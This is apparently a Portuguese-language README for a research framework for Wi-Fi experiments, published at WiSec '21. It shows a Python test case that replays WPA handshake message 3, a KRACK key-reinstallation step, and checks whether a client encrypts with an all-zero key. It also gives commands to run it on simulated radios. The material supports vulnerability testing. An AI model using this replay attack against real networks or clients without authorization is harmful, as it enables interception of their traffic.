
Wi-Fi Framework para criar provas de conceito, experimentos automatizados, suítes de teste, fuzzers e muito mais.
Apresentamos um framework para realizar experimentos Wi-Fi mais facilmente. Pode ser usado para criar fuzzers, implementar novos ataques, criar provas de conceito para testar vulnerabilidades, automatizar experimentos, implementar suítes de teste, e assim por diante.
A principal vantagem do framework é que ele permite reutilizar a funcionalidade Wi-Fi do Linux para implementar ataques e/ou testes mais facilmente. Por exemplo, o framework pode conectar-se a redes Wi-Fi (protegidas) por você e pode transmitir beacons para você ao testar clientes. Em geral, qualquer funcionalidade Wi-Fi do Linux pode ser reutilizada para implementar ataques/testes mais rapidamente. O framework realiza isso executando casos de teste sobre o daemon de espaço do usuário hostap.
Visão geral do Daemon Wi-Fi e dos componentes do Framework.
Se você é novo na realização de experimentos Wi-Fi no Linux, é altamente recomendável ler primeiro o Tutorial Linux libwifi. Quando você está implementando ataques Wi-Fi básicos sem a necessidade de reutilizar funcionalidades do Linux, o framework oferece vantagens limitadas e você pode considerar implementar ataques diretamente no Scapy e opcionalmente usar a biblioteca libwifi.
Para usar o framework:
Instale-o executando ./setup.sh. Veja setup para saber o que este script faz.
Leia o tutorial de uso.
Digamos que você queira testar se um cliente criptografa quadros usando uma chave toda zerada. Isso pode acontecer durante um ataque de reinstalação de chave. Usando o framework, você não precisa reimplementar toda a funcionalidade de um ponto de acesso, mas apenas precisa escrever o seguinte caso de teste:
class ExampleKrackZerokey(Test):
name = "example-krack-zero-key"
kind = Test.Authenticator
def __init__(self):
super().__init__([
# Replay 4-Way Handshake Message 3/4.
Action( trigger=Trigger.Connected, action=Action.Function ),
# Receive all frames and search for one encrypted with an all-zero key.
Action( trigger=Trigger.NoTrigger, action=Action.Receive ),
# When we receive such a frame, we can terminate the test.
Action( trigger=Trigger.Received, action=Action.Terminate )
])
def resend(self, station):
# Resend 4-Way Handshake Message 3/4.
station.wpaspy_command("RESEND_M3 " + station.clientmac )
def receive(self, station, frame):
if frame[Dot11].addr2 != station.clientmac or not frame.haslayer(Dot11CCMP):
return False
# Check if CCMP-encrypted frame can be decrypted using an all-zero key
plaintext = decrypt_ccmp(frame.getlayer(Dot11), tk=b"\x00"*16)
if plaintext is None: return False
# We received a valid plaintext frame!
log(STATUS,'Client encrypted a frame with an all-zero key!', color="green")
return True
O caso de teste acima criará um ponto de acesso ao qual os clientes podem se conectar. Após o cliente se conectar, uma nova 3ª mensagem no handshake de 4 vias será enviada ao cliente. Um cliente vulnerável começará a usar uma chave de criptografia toda zerada, o que o caso de teste detecta automaticamente.
Você pode executar o caso de teste acima usando rádios Wi-Fi simulados da seguinte forma:
./setup/setup-hwsim.sh 4
source setup/venv/bin/activate
./run.py wlan1 example-krack-zero-key
Você pode conectar-se ao ponto de acesso criado para testá-lo (rede testnetwork com senha passphrase):
./hostap.py wlan2
Alterando a configuração de rede, este AP pode ser facilmente configurado para usar WPA2 ou WPA3 e/ou pode ser configurado para usar autenticação empresarial, sem fazer alterações no caso de teste que escrevemos! Benefícios adicionais de usar o framework neste exemplo são:
Veja uma descrição detalhada de todos os nossos exemplos para mais exemplos.
Este trabalho foi publicado na ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec '21):
Trabalhos que usaram este framework ou um similar: